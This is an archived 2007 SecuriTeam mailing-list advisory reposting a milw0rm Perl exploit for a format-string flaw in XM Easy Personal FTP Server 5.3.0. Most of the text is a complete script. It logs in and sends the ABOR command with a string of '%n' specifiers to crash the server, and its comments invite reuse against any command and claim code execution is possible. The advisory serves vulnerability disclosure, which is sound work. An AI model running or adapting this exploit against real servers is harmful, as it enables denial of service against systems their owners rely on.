

# [EXPL] XM Easy Personal FTP Server Format String DoS (Exploit)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-03/msg00002.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxx)>
  - *Date:* 1 Mar 2007 13:25:53 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

XM Easy Personal FTP Server Format String DoS (Exploit)

---

## SUMMARY

<<http://www.dxm2008.com/>> XM Easy Personal FTP Server – "Easy to Setup Your FTP Server". Format string vulnerability in XM Easy FTP Server allows denial of service condition.

## DETAILS

Vulnerable Systems:

- \* XM Easy Personal FTP Server 5.3.0

Exploit:

```
#!/usr/bin/perl -w
#=====
# XM Easy Personal FTP Server 5.3.0 Multiple
vulnerabilities
# By Umesh Wanve
#=====
# Vendor: http://www.dxm2008.com/
#
# Date: 28-02-2007
```

## [EXPL] XM Easy Personal FTP Server Format String DoS (Exploit)

```
#
#
# 1) Multiple format string attacks. Every command is vulnerable.
# With only single % also the server crashes.
#
# 2) Multiple buffer overflow occurs in commands if we fuzz the server(
# Better way use ur own fuzzer)
#
#
# Code execution is possible.
# This is latest version of FTP server.
#
# #####
```

```
use Net::FTP;
```

```
((($target = $ARGV[0])) || die "usage:$0 <target> <port>");
```

```
my $user = "test";
my $pass = "test";
```

```
$exploit_string = "%n" x 10;
```

```
print ":: Trying to connect to target system at: $target...\n";
```

```
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not
connect: $!";
```

```
print "Connected!\n";
```

```
$ftp->login($user, $pass) || die "could not login: $!";
print "Logged in!\n";
```

```
$ftp->command("ABOR ", $exploit_string); # Every command
is vulnerable. Use it what u like :)
print "Done!\n";
```

```
$ftp->quit;
```

### ADDITIONAL INFORMATION

The information has been provided by milw0rm.

The original article can be found at:

<<http://www.milw0rm.com/exploits/3385>>

<http://www.milw0rm.com/exploits/3385>

[EXPL] XM Easy Personal FTP Server Format String DoS (Exploit)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.